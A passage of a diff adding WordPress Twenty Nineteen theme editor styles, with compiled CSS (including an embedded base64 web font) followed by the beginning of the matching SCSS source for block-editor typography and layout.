url(data:application/font-woff;charset=utf-8;base64,d09GRgABAAAAAAUQAA0AAAAACDQAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAAE9AAAABwAAAAchf5yU0dERUYAAATYAAAAHAAAAB4AJwAbT1MvMgAAAaAAAABJAAAAYJAcgU5jbWFwAAACIAAAAF4AAAFqUUxBZ2dhc3AAAATQAAAACAAAAAgAAAAQZ2x5ZgAAApAAAAAyAAAAPL0n8y9oZWFkAAABMAAAADAAAAA2Fi93Z2hoZWEAAAFgAAAAHQAAACQOSgWaaG10eAAAAewAAAAzAAAAVC7TAQBsb2NhAAACgAAAABAAAAAsAOQBAm1heHAAAAGAAAAAHQAAACAAWQALbmFtZQAAAsQAAAF6AAADIYvD/Adwb3N0AAAEQAAAAI4AAADsapk2o3jaY2BkYGAA4ov5mwzj+W2+MnCzXwCKMNzgCBSB0LfbQDQ7AxuI4mBgAlEAFKQIRHjaY2BkYGD3+NvCwMDBAALsDAyMDKhAFAA3+wH3AAAAeNpjYGRgYBBl4GBgYgABEMnIABJzAPMZAAVmAGUAAAB42mNgZlJhnMDAysDCKsKygYGBYRqEZtrDYMT4D8gHSmEHjgUFOQwODAqqf9g9/rYwMLB7MNUAhRlBcsxBrMlASoGBEQAj8QtyAAAAeNrjYGBkAAGmWQwMjO8gmBnIZ2NA0ExAzNjAAFYJVn0ASBsD6VAIDZb7AtELAgANIgb9AHjaY2BgYGaAYBkGRgYQSAHyGMF8FgYPIM3HwMHAxMDGoMCwQIFLQV8hXvXP//9AcRCfAcb///h/ygPW+w/vb7olBjUHCTCyMcAFGZmABBO6AogThgZgIUsXAEDcEzcAAHjaY2BgECMCyoEgACZaAed42mNgYmRgYGBnYGNgYAZSDJqMgorCgoqCjECRXwwNrCAKSP5mAAFGBiRgyAAAi/YFBQAAeNqtkc1OwkAUhU/5M25cEhcsZick0AwlBJq6MWwgJkAgYV/KAA2lJeUn+hY+gktXvpKv4dLTMqKycGHsTZNv7px7z50ZAFd4hYHjdw1Ls4EiHjVncIFnzVnc4F1zDkWjrzmPW+NNcwGlzIRKI3fJlUyrEjZQxb3mDH2fNGfRx4vmHKqG0JzHg6E0F9DOlFBGBxUI1GEzLNT4S0aLuTtsGAEUuYcQHkyg3KmIum1bNUvKlrjbbAIleqHHnS4iSudpQcySMYtdFiXlAxzSbAwfMxK6kZoHKhbjjespMTioOPZnzI+4ucCeTVyKMVKLfeAS6vSWaTinuZwzyy/Dc7vaed+6KaV0kukdPUk6yOcctZPvvxxqksq2lEW8RvHjMEO2FCl/zy6p3NEm0R9OFSafJdldc4QVeyaaObMBO0/5cCaa6d9Ggyubxire+lEojscdjoWUR1xGOy8KD8mG2ZLO2l2paDc3A39qmU2z2W5YNv5+u79e6QfGJY/hAAB42m3NywrCMBQE0DupWp/1AYI7/6DEaLQu66Mrd35BKUWKJSlFv1+rue4cGM7shgR981qSon+ZNwUJ8iDgoYU2OvDRRQ99DDDECAHGmGCKmf80hZSx/Kik/LliFbtmN6xmt+yOjdg9GztV4tROnRwX/Bsaaw51nt4Lc7tWaZYHp/MlzKx51LZs5htNri+2AAAAAQAB//8AD3jaY2BkYGDgAWIxIGZiYARCESBmAfMYAAR6AEMAAAABAAAAANXtRbgAAAAA2AhRFAAAAADYCNuG) format("woff");
+}
+
+/* If we add the border using a regular CSS border, it won't look good on non-retina devices,
+ * since its edges can look jagged due to lack of antialiasing. In this case, we are several
+ * layers of box-shadow to add the border visually, which will render the border smoother. */
+/* Fallback for non-latin fonts */
+/* Calculates maximum width for post content */
+/* Nested sub-menu padding: 10 levels deep */
+/** === Editor Frame === */
+body .wp-block[data-align="full"] {
+  width: 100%;
+}
+
+@media only screen and (min-width: 600px) {
+  body .wp-block[data-align="full"] {
+    width: calc( 100% + 90px);
+    max-width: calc( 100% + 90px);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  body .editor-writing-flow {
+    max-width: 80%;
+    margin: 0 10%;
+  }
+  body .editor-post-title__block,
+  body .editor-default-block-appender,
+  body .editor-block-list__block {
+    margin-left: 0;
+    margin-right: 0;
+  }
+  body .wp-block[data-align="wide"] {
+    width: 100%;
+  }
+  body .wp-block[data-align="full"] {
+    position: relative;
+    left: calc( -12.5% - 14px);
+    width: calc( 125% + 116px);
+    max-width: calc( 125% + 115px);
+  }
+  body .wp-block[data-align="right"] {
+    max-width: 125%;
+  }
+}
+
+/** === Content Width === */
+.wp-block {
+  width: calc(100vw - (2 * 1rem));
+  max-width: 100%;
+}
+
+@media only screen and (min-width: 768px) {
+  .wp-block {
+    width: calc(8 * (100vw / 12));
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .wp-block {
+    width: calc(6 * (100vw / 12 ));
+  }
+}
+
+.wp-block .wp-block {
+  width: 100%;
+}
+
+/** === Base Typography === */
+body {
+  font-size: 22px;
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  line-height: 1.8;
+  color: #111;
+}
+
+p {
+  font-size: 22px;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-weight: 700;
+}
+
+h1 {
+  font-size: 2.25em;
+}
+
+h1:before {
+  background: #767676;
+  content: "\020";
+  display: block;
+  height: 2px;
+  margin: 1rem 0;
+  width: 1em;
+}
+
+@media only screen and (min-width: 768px) {
+  h1 {
+    font-size: 2.8125em;
+  }
+}
+
+h2 {
+  font-size: 1.6875em;
+}
+
+h2:before {
+  background: #767676;
+  content: "\020";
+  display: block;
+  height: 2px;
+  margin: 1rem 0;
+  width: 1em;
+}
+
+@media only screen and (min-width: 768px) {
+  h2 {
+    font-size: 2.25em;
+  }
+}
+
+h3 {
+  font-size: 1.6875em;
+}
+
+h4 {
+  font-size: 1.125em;
+}
+
+h5 {
+  font-size: 0.88889em;
+}
+
+h6 {
+  font-size: 0.71111em;
+}
+
+a {
+  transition: color 110ms ease-in-out;
+  color: #0073aa;
+}
+
+a:hover, a:active {
+  color: #005177;
+  outline: 0;
+  text-decoration: none;
+}
+
+a:focus {
+  outline: 0;
+  text-decoration: underline;
+}
+
+.has-primary-background-color,
+.has-secondary-background-color,
+.has-dark-gray-background-color,
+.has-light-gray-background-color {
+  color: #fff;
+}
+
+.has-primary-background-color p,
+.has-primary-background-color h1,
+.has-primary-background-color h2,
+.has-primary-background-color h3,
+.has-primary-background-color h4,
+.has-primary-background-color h5,
+.has-primary-background-color h6,
+.has-primary-background-color a,
+.has-secondary-background-color p,
+.has-secondary-background-color h1,
+.has-secondary-background-color h2,
+.has-secondary-background-color h3,
+.has-secondary-background-color h4,
+.has-secondary-background-color h5,
+.has-secondary-background-color h6,
+.has-secondary-background-color a,
+.has-dark-gray-background-color p,
+.has-dark-gray-background-color h1,
+.has-dark-gray-background-color h2,
+.has-dark-gray-background-color h3,
+.has-dark-gray-background-color h4,
+.has-dark-gray-background-color h5,
+.has-dark-gray-background-color h6,
+.has-dark-gray-background-color a,
+.has-light-gray-background-color p,
+.has-light-gray-background-color h1,
+.has-light-gray-background-color h2,
+.has-light-gray-background-color h3,
+.has-light-gray-background-color h4,
+.has-light-gray-background-color h5,
+.has-light-gray-background-color h6,
+.has-light-gray-background-color a {
+  color: #fff;
+}
+
+.has-white-background-color {
+  color: #111;
+}
+
+.has-white-background-color p,
+.has-white-background-color h1,
+.has-white-background-color h2,
+.has-white-background-color h3,
+.has-white-background-color h4,
+.has-white-background-color h5,
+.has-white-background-color h6,
+.has-white-background-color a {
+  color: #111;
+}
+
+figcaption,
+.gallery-caption {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 0.71111em;
+  line-height: 1.6;
+  color: #767676;
+}
+
+/** === Post Title === */
+.editor-post-title__block:before {
+  background: #767676;
+  content: "\020";
+  display: block;
+  height: 2px;
+  margin: 1rem 0;
+  width: 1em;
+}
+
+.editor-post-title__block:before {
+  width: 2.8125em;
+  margin-top: 0;
+  margin-bottom: 0;
+  margin-left: 1em;
+  position: relative;
+  top: 0.5em;
+}
+
+.editor-post-title__block .editor-post-title__input {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 2.8125em;
+  font-weight: 700;
+}
+
+/** === Default Appender === */
+.editor-default-block-appender .editor-default-block-appender__content {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-size: 22px;
+}
+
+/** === Heading === */
+.wp-block-heading strong {
+  font-weight: bolder;
+}
+
+/** === Paragraph === */
+.wp-block-paragraph.has-drop-cap:not(:focus)::first-letter {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 3.375em;
+  line-height: 1;
+  font-weight: bold;
+  margin: 0 0.25em 0 0;
+}
+
+/** === Table === */
+.wp-block-table {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+}
+
+/** === Cover === */
+.wp-block-cover h2,
+.wp-block-cover .wp-block-cover-text {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 1.6875em;
+  font-weight: bold;
+  line-height: 1.4;
+  padding-left: 1rem;
+  padding-right: 1rem;
+}
+
+.wp-block-cover h2 strong,
+.wp-block-cover .wp-block-cover-text strong {
+  font-weight: bolder;
+}
+
+@media only screen and (min-width: 768px) {
+  .wp-block-cover h2,
+  .wp-block-cover .wp-block-cover-text {
+    margin-left: auto;
+    margin-right: auto;
+    padding: 0;
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .wp-block-cover {
+    padding-left: 10%;
+    padding-right: 10%;
+  }
+  .wp-block-cover h2,
+  .wp-block-cover .wp-block-cover-text {
+    font-size: 2.25em;
+  }
+}
+
+.wp-block[data-type="core/cover"][data-align="left"] .editor-block-list__block-edit,
+.wp-block[data-type="core/cover"][data-align="right"] .editor-block-list__block-edit {
+  width: calc(4 * (100vw / 12));
+}
+
+.wp-block[data-type="core/cover"][data-align="left"] .wp-block-cover,
+.wp-block[data-type="core/cover"][data-align="right"] .wp-block-cover {
+  width: 100%;
+  max-width: 100%;
+  padding: calc(1.375 * 1rem);
+}
+
+.wp-block[data-type="core/cover"][data-align="left"] .wp-block-cover p,
+.wp-block[data-type="core/cover"][data-align="right"] .wp-block-cover p {
+  padding-left: 0;
+  padding-right: 0;
+}
+
+@media only screen and (min-width: 768px) {
+  .wp-block[data-type="core/cover"][data-align="left"] .wp-block-cover,
+  .wp-block[data-type="core/cover"][data-align="right"] .wp-block-cover {
+    padding: calc(2.75 * 1rem) calc(2.75 * 1rem) calc(3.125 * 1rem);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .wp-block[data-type="core/cover"][data-align="wide"] h2,
+  .wp-block[data-type="core/cover"][data-align="wide"] .wp-block-cover-text,
+  .wp-block[data-type="core/cover"][data-align="full"] h2,
+  .wp-block[data-type="core/cover"][data-align="full"] .wp-block-cover-text {
+    max-width: calc(8 * (100vw / 12));
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .wp-block[data-type="core/cover"][data-align="wide"] h2,
+  .wp-block[data-type="core/cover"][data-align="wide"] .wp-block-cover-text,
+  .wp-block[data-type="core/cover"][data-align="full"] h2,
+  .wp-block[data-type="core/cover"][data-align="full"] .wp-block-cover-text {
+    max-width: calc(6 * (100vw / 12));
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .wp-block[data-type="core/cover"][data-align="full"] .wp-block-cover {
+    padding-left: calc(10% + 64px);
+    padding-right: calc(10% + 64px);
+  }
+}
+
+/** === Gallery === */
+.wp-block-gallery .blocks-gallery-image figcaption,
+.wp-block-gallery .blocks-gallery-item figcaption,
+.wp-block-gallery .gallery-item .gallery-caption {
+  font-size: 0.71111em;
+  line-height: 1.6;
+}
+
+/** === Button === */
+.wp-block-button .wp-block-button__link {
+  line-height: 1.8;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 0.88889em;
+  font-weight: bold;
+}
+
+.wp-block-button:not(.is-style-outline) .wp-block-button__link {
+  background: #0073aa;
+}
+
+.wp-block-button:not(.is-style-squared) .wp-block-button__link {
+  border-radius: 5px;
+}
+
+.wp-block-button.is-style-outline, .wp-block-button.is-style-outline:hover, .wp-block-button.is-style-outline:focus, .wp-block-button.is-style-outline:active {
+  background: transparent;
+  color: #0073aa;
+}
+
+.wp-block-button.is-style-outline .wp-block-button__link, .wp-block-button.is-style-outline:hover .wp-block-button__link, .wp-block-button.is-style-outline:focus .wp-block-button__link, .wp-block-button.is-style-outline:active .wp-block-button__link {
+  background: transparent;
+}
+
+.wp-block-button.is-style-outline .wp-block-button__link:not(.has-text-color), .wp-block-button.is-style-outline:hover .wp-block-button__link:not(.has-text-color), .wp-block-button.is-style-outline:focus .wp-block-button__link:not(.has-text-color), .wp-block-button.is-style-outline:active .wp-block-button__link:not(.has-text-color) {
+  color: #0073aa;
+}
+
+/** === Blockquote === */
+.wp-block-quote:not(.is-large):not(.is-style-large) {
+  border-left: 2px solid #0073aa;
+}
+
+.wp-block-quote.is-large, .wp-block-quote.is-style-large {
+  margin-top: 2.8125em;
+  margin-bottom: 2.8125em;
+}
+
+.wp-block-quote.is-large p,
+.wp-block-quote.is-style-large p {
+  font-size: 1.6875em;
+  line-height: 1.3;
+  margin-bottom: 0.5em;
+  margin-top: 0.5em;
+}
+
+.wp-block-quote cite,
+.wp-block-quote footer,
+.wp-block-quote .wp-block-quote__citation {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 0.71111em;
+  line-height: 1.6;
+  color: #767676;
+}
+
+/** === Pullquote === */
+.wp-block-pullquote {
+  border-color: transparent;
+  border-width: 2px;
+  color: #000;
+}
+
+.wp-block-pullquote blockquote {
+  margin-top: calc(3 * 1rem);
+  margin-bottom: calc(3.33 * 1rem);
+  hyphens: auto;
+  word-break: break-word;
+}
+
+.wp-block-pullquote:not(.is-style-solid-color) .wp-block-pullquote__citation {
+  color: #767676;
+}
+
+.wp-block-pullquote.is-style-solid-color blockquote {
+  width: calc(100% - (2 * 1rem));
+  max-width: calc( 100% - (2 * 1rem));
+}
+
+.wp-block-pullquote.is-style-solid-color blockquote a,
+.wp-block-pullquote.is-style-solid-color blockquote.has-text-color p,
+.wp-block-pullquote.is-style-solid-color blockquote.has-text-color a {
+  color: inherit;
+}
+
+.wp-block-pullquote.is-style-solid-color blockquote:not(.has-text-color) {
+  color: #fff;
+}
+
+@media only screen and (min-width: 768px) {
+  .wp-block-pullquote.is-style-solid-color blockquote {
+    max-width: 80%;
+  }
+}
+
+.wp-block-pullquote.is-style-solid-color:not(.has-background-color) {
+  background-color: #0073aa;
+}
+
+.wp-block[data-type="core/pullquote"] blockquote > .block-library-pullquote__content .editor-rich-text__tinymce[data-is-empty="true"]::before,
+.wp-block[data-type="core/pullquote"] blockquote > .editor-rich-text p,
+.wp-block[data-type="core/pullquote"] p,
+.wp-block[data-type="core/pullquote"][data-align="left"] blockquote > .block-library-pullquote__content .editor-rich-text__tinymce[data-is-empty="true"]::before,
+.wp-block[data-type="core/pullquote"][data-align="left"] blockquote > .editor-rich-text p,
+.wp-block[data-type="core/pullquote"][data-align="left"] p,
+.wp-block[data-type="core/pullquote"][data-align="right"] blockquote > .block-library-pullquote__content .editor-rich-text__tinymce[data-is-empty="true"]::before,
+.wp-block[data-type="core/pullquote"][data-align="right"] blockquote > .editor-rich-text p,
+.wp-block[data-type="core/pullquote"][data-align="right"] p {
+  font-size: 1.6875em;
+  font-style: italic;
+  line-height: 1.3;
+  margin-bottom: 0.5em;
+  margin-top: 0.5em;
+}
+
+@media only screen and (min-width: 768px) {
+  .wp-block[data-type="core/pullquote"] blockquote > .block-library-pullquote__content .editor-rich-text__tinymce[data-is-empty="true"]::before,
+  .wp-block[data-type="core/pullquote"] blockquote > .editor-rich-text p,
+  .wp-block[data-type="core/pullquote"] p,
+  .wp-block[data-type="core/pullquote"][data-align="left"] blockquote > .block-library-pullquote__content .editor-rich-text__tinymce[data-is-empty="true"]::before,
+  .wp-block[data-type="core/pullquote"][data-align="left"] blockquote > .editor-rich-text p,
+  .wp-block[data-type="core/pullquote"][data-align="left"] p,
+  .wp-block[data-type="core/pullquote"][data-align="right"] blockquote > .block-library-pullquote__content .editor-rich-text__tinymce[data-is-empty="true"]::before,
+  .wp-block[data-type="core/pullquote"][data-align="right"] blockquote > .editor-rich-text p,
+  .wp-block[data-type="core/pullquote"][data-align="right"] p {
+    font-size: 2.25em;
+  }
+}
+
+.wp-block[data-type="core/pullquote"] .wp-block-pullquote__citation,
+.wp-block[data-type="core/pullquote"][data-align="left"] .wp-block-pullquote__citation,
+.wp-block[data-type="core/pullquote"][data-align="right"] .wp-block-pullquote__citation {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 0.71111em;
+  line-height: 1.6;
+  text-transform: none;
+}
+
+.wp-block[data-type="core/pullquote"] em,
+.wp-block[data-type="core/pullquote"][data-align="left"] em,
+.wp-block[data-type="core/pullquote"][data-align="right"] em {
+  font-style: normal;
+}
+
+.wp-block[data-type="core/pullquote"][data-align="left"] .editor-block-list__block-edit,
+.wp-block[data-type="core/pullquote"][data-align="right"] .editor-block-list__block-edit {
+  width: calc(4 * (100vw / 12));
+  max-width: 50%;
+}
+
+.wp-block[data-type="core/pullquote"][data-align="left"] .editor-block-list__block-edit .wp-block-pullquote:not(.is-style-solid-color),
+.wp-block[data-type="core/pullquote"][data-align="right"] .editor-block-list__block-edit .wp-block-pullquote:not(.is-style-solid-color) {
+  padding: 0;
+}
+
+.wp-block[data-type="core/pullquote"][data-align="left"] .editor-block-list__block-edit .wp-block-pullquote.is-style-solid-color,
+.wp-block[data-type="core/pullquote"][data-align="right"] .editor-block-list__block-edit .wp-block-pullquote.is-style-solid-color {
+  padding: 1em;
+}
+
+.wp-block[data-type="core/pullquote"][data-align="left"] blockquote > .block-library-pullquote__content .editor-rich-text__tinymce[data-is-empty="true"]::before,
+.wp-block[data-type="core/pullquote"][data-align="left"] blockquote > .editor-rich-text p,
+.wp-block[data-type="core/pullquote"][data-align="left"] p,
+.wp-block[data-type="core/pullquote"][data-align="left"] .wp-block-pullquote__citation,
+.wp-block[data-type="core/pullquote"][data-align="right"] blockquote > .block-library-pullquote__content .editor-rich-text__tinymce[data-is-empty="true"]::before,
+.wp-block[data-type="core/pullquote"][data-align="right"] blockquote > .editor-rich-text p,
+.wp-block[data-type="core/pullquote"][data-align="right"] p,
+.wp-block[data-type="core/pullquote"][data-align="right"] .wp-block-pullquote__citation {
+  text-align: left;
+}
+
+@media only screen and (min-width: 768px) {
+  .wp-block[data-type="core/pullquote"][data-align="full"] .wp-block-pullquote blockquote {
+    max-width: calc(80% - 128px);
+  }
+}
+
+/** === File === */
+.wp-block-file {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+}
+
+.wp-block-file .wp-block-file__textlink {
+  text-decoration: underline;
+  color: #0073aa;
+}
+
+.wp-block-file .wp-block-file__textlink:hover {
+  color: #005177;
+  text-decoration: none;
+}
+
+.wp-block-file .wp-block-file__button {
+  display: table;
+  line-height: 1.8;
+  font-size: 0.88889em;
+  font-weight: bold;
+  background-color: #0073aa;
+  border-radius: 5px;
+}
+
+.wp-block-file .wp-block-file__button-richtext-wrapper {
+  display: block;
+  margin-top: calc(0.75 * 1rem);
+  margin-left: 0;
+}
+
+/** === Verse === */
+.wp-block-verse,
+.wp-block-verse pre {
+  padding: 0;
+}
+
+/** === Code === */
+.wp-block-code {
+  border-radius: 0;
+}
+
+/** === Table === */
+.wp-block-table td, .wp-block-table th {
+  border-color: #767676;
+}
+
+/** === Separator === */
+.wp-block-separator:not(.is-style-dots) {
+  border-bottom: 2px solid #767676;
+}
+
+.wp-block-separator:not(.is-style-wide):not(.is-style-dots) {
+  width: 2.25em;
+  margin-left: 0;
+}
+
+.wp-block-separator.is-style-dots:before {
+  color: #767676;
+  font-size: 1.6875em;
+  letter-spacing: calc(2 * 1rem);
+  padding-left: calc(2 * 1rem);
+}
+
+/* Remove duplicate rule-line when a separator
+ * is followed by an H1, or H2 */
+.wp-block[data-type="core/separator"] + .wp-block[data-type="core/heading"] h1:before,
+.wp-block[data-type="core/separator"] + .wp-block[data-type="core/heading"] h2:before {
+  display: none;
+}
+
+/** === Latest Posts, Archives, Categories === */
+ul.wp-block-archives,
+.wp-block-categories,
+.wp-block-latest-posts {
+  padding: 0;
+  list-style-type: none;
+}
+
+ul.wp-block-archives ul,
+.wp-block-categories ul,
+.wp-block-latest-posts ul {
+  padding: 0;
+  list-style-type: none;
+}
+
+ul.wp-block-archives li,
+.wp-block-categories li,
+.wp-block-latest-posts li {
+  color: #767676;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: calc(22px * 1.125);
+  font-weight: bold;
+  line-height: 1.2;
+  padding-bottom: 0.75rem;
+}
+
+ul.wp-block-archives li.menu-item-has-children, ul.wp-block-archives li:last-child,
+.wp-block-categories li.menu-item-has-children,
+.wp-block-categories li:last-child,
+.wp-block-latest-posts li.menu-item-has-children,
+.wp-block-latest-posts li:last-child {
+  padding-bottom: 0;
+}
+
+ul.wp-block-archives li a,
+.wp-block-categories li a,
+.wp-block-latest-posts li a {
+  text-decoration: none;
+}
+
+ul.wp-block-archives li ul,
+.wp-block-categories li ul,
+.wp-block-latest-posts li ul {
+  padding-left: 1rem;
+}
+
+.wp-block-categories ul {
+  padding-top: 0.75rem;
+}
+
+.wp-block-categories ul ul {
+  counter-reset: submenu;
+}
+
+.wp-block-categories ul ul > li > a::before {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-weight: normal;
+  content: "– " counters(submenu, "– ", none);
+  counter-increment: submenu;
+}
+
+.wp-block-categories li ul {
+  list-style: none;
+  padding-left: 0;
+  margin-bottom: -0.75rem;
+}
+
+/** === Latest Posts grid view === */
+.wp-block-latest-posts.is-grid li {
+  border-top: 2px solid #ccc;
+  padding-top: 1rem;
+  margin-bottom: 2rem;
+}
+
+.wp-block-latest-posts.is-grid li a:after {
+  content: '';
+}
+
+.wp-block-latest-posts.is-grid li:last-child {
+  margin-bottom: auto;
+}
+
+.wp-block-latest-posts.is-grid li:last-child a:after {
+  content: '';
+}
+
+/** === Latest Comments === */
+.wp-block-latest-comments .wp-block-latest-comments__comment-meta {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-weight: bold;
+}
+
+.wp-block-latest-comments .wp-block-latest-comments__comment-meta .wp-block-latest-comments__comment-date {
+  font-weight: normal;
+}
+
+.wp-block-latest-comments .wp-block-latest-comments__comment,
+.wp-block-latest-comments .wp-block-latest-comments__comment-date,
+.wp-block-latest-comments .wp-block-latest-comments__comment-excerpt p {
+  font-size: inherit;
+}
+
+.wp-block-latest-comments .wp-block-latest-comments__comment-date {
+  font-size: 0.71111em;
+}
+
+/** === Classic Editor === */
+/* Properly center-align captions in the classic-editor block */
+.wp-caption dd {
+  color: #767676;
+  font-size: 0.71111em;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  line-height: 1.6;
+  margin: 0;
+  padding: 0.5rem;
+  text-align: left;
+  text-align: center;
+  -webkit-margin-start: 0px;
+  margin-inline-start: 0px;
+}
+
+.wp-block-freeform {
+  /* Add style for galleries in classic-editor block */
+}
+
+.wp-block-freeform blockquote {
+  border-left: 2px solid #0073aa;
+}
+
+.wp-block-freeform blockquote cite {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 0.71111em;
+  font-style: normal;
+  line-height: 1.6;
+  color: #767676;
+}
+
+/* Make sure our non-latin font overrides don't overwrite the iconfont used in the classic editor toolbar */
+.wp-block[data-type="core/freeform"] .mce-btn i {
+  font-family: dashicons !important;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/style-editor.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/style-editor.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/style-editor.scss	(revision 56912)
@@ -0,0 +1,745 @@
+/*!
+Twenty Nineteen Editor Styles
+*/
+
+/** === Includes === */
+
+@import "sass/variables-site/variables-site";
+@import "sass/mixins/mixins-master";
+
+/** === Editor Frame === */
+
+body {
+
+	.wp-block[data-align="full"] {
+		width: 100%;
+	}
+
+	@include media(mobile) {
+
+		.wp-block[data-align="full"] {
+			width: calc( 100% + 90px );
+			max-width: calc( 100% + 90px );
+		}
+	}
+
+	@include media(tablet) {
+
+		.editor-writing-flow {
+			max-width: 80%;
+			margin: 0 10%;
+		}
+
+		.editor-post-title__block,
+		.editor-default-block-appender,
+		.editor-block-list__block {
+			margin-left: 0;
+			margin-right: 0;
+		}
+
+		.wp-block[data-align="wide"] {
+			width: 100%;
+		}
+
+		.wp-block[data-align="full"] {
+			position: relative;
+			left: calc( -12.5% - 14px );
+			width: calc( 125% + 116px );
+			max-width: calc( 125% + 115px ); // Subtract 1px here to avoid the rounding errors that happen due to the usage of percentages.
+		}
+
+		.wp-block[data-align="right"] {
+			max-width: 125%;
+		}
+	}
+}
+
+/** === Content Width === */
+
+.wp-block {
+	width: calc(100vw - (2 * #{$size__spacing-unit}));
+	max-width: 100%;
+
+	@include media(tablet) {
+		width: calc(8 * (100vw / 12));
+	}
+
+	@include media(desktop) {
+		width: calc(6 * (100vw / 12 ));
+	}
+
+	// Only the top level blocks need specific widths, therefore override for every nested block.
+	.wp-block {
+		width: 100%;
+	}
+}
+
+/** === Base Typography === */
+
+body {
+	font-size: $font__size_base;
+	font-family: $font__body;
+	line-height: $font__line-height-body;
+	color: $color__text-main;
+}
+
+p {
+	font-size: $font__size_base;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	font-family: $font__heading;
+	font-weight: 700;
+}
+
+h1 {
+	font-size: $font__size-xl;
+	@include post-section-dash;
+
+	@include media(tablet) {
+		font-size: $font__size-xxl;
+	}
+}
+
+h2 {
+	font-size: $font__size-lg;
+	@include post-section-dash;
+
+	@include media(tablet) {
+		font-size: $font__size-xl;
+	}
+}
+
+h3 {
+	font-size: $font__size-lg;
+}
+
+h4 {
+	font-size: $font__size-md;
+}
+
+h5 {
+	font-size: $font__size-sm;
+}
+
+h6 {
+	font-size: $font__size-xs;
+}
+
+a {
+	@include link-transition;
+	color: $color__link;
+
+	*:visited {
+
+	}
+
+	&:hover,
+	&:active {
+		color: $color__link-hover;
+		outline: 0;
+		text-decoration: none;
+	}
+
+	&:focus {
+		outline: 0;
+		text-decoration: underline;
+	}
+}
+
+// Use white text against these backgrounds by default.
+.has-primary-background-color,
+.has-secondary-background-color,
+.has-dark-gray-background-color,
+.has-light-gray-background-color {
+	color: $color__background-body;
+
+	p,
+	h1,
+	h2,
+	h3,
+	h4,
+	h5,
+	h6,
+	a {
+		color: $color__background-body;
+	}
+}
+
+// Use dark gray text against this background by default.
+.has-white-background-color {
+	color: $color__text-main;
+
+	p,
+	h1,
+	h2,
+	h3,
+	h4,
+	h5,
+	h6,
+	a {
+		color: $color__text-main;
+	}
+}
+
+figcaption,
+.gallery-caption {
+	font-family: $font__heading;
+	font-size: $font__size-xs;
+	line-height: 1.6;
+	color: $color__text-light;
+}
+
+/** === Post Title === */
+
+.editor-post-title__block {
+	@include post-section-dash;
+
+	&:before {
+		width: $font__size-xxl;
+		margin-top: 0;
+		margin-bottom: 0;
+		margin-left: 1em;
+		position: relative;
+		top: 0.5em;
+	}
+
+	.editor-post-title__input {
+		font-family: $font__heading;
+		font-size: $font__size-xxl;
+		font-weight: 700;
+	}
+}
+
+/** === Default Appender === */
+
+.editor-default-block-appender .editor-default-block-appender__content {
+	font-family: $font__body;
+	font-size: $font__size_base;
+}
+
+/** === Heading === */
+
+.wp-block-heading {
+	strong {
+		font-weight: bolder;
+	}
+}
+/** === Paragraph === */
+
+.wp-block-paragraph {
+
+	&.has-drop-cap:not(:focus)::first-letter {
+		font-family: $font__heading;
